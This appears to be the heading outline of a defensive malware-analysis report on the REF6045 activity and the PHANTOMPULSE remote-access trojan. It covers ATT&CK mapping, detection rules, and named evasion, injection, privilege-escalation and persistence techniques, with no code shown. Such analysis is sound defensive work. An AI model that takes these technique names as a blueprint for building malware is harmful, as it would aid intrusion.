Why REF6045 matters despite its crude execution

REF6045 through MITRE ATT&CK

Tactics

Techniques

How to detect and prevent REF6045

Prevention rules for detecting SCMBANKER

Observables

PHANTOMPULSE: anatomy of a hijackable blockchain-C2 RAT

Key takeaways

A note on AI-assisted development

Execution chain

Defense evasion

Direct syscalls and API wrappers

String and config obfuscation

AMSI, WLDP, and ETW bypass via hardware breakpoints

Build variant: active and dormant subsystems

Command and control

Blockchain C2 resolution

Endpoints and heartbeat

Loop cadence and resilience

Command dispatch

Injection techniques

PhantomInject: module stomping into dbghelp.dll

DbgNexum: debug API as an execution controller

ManualMap: full PE mapper

Privilege escalation

Mechanism

The elevate C2 command

Fallback retry via proxy rundll32

Elevated rundll32 relaunch

Marker-state routing

Persistence

Three scheduled tasks

The `elevate` C2 command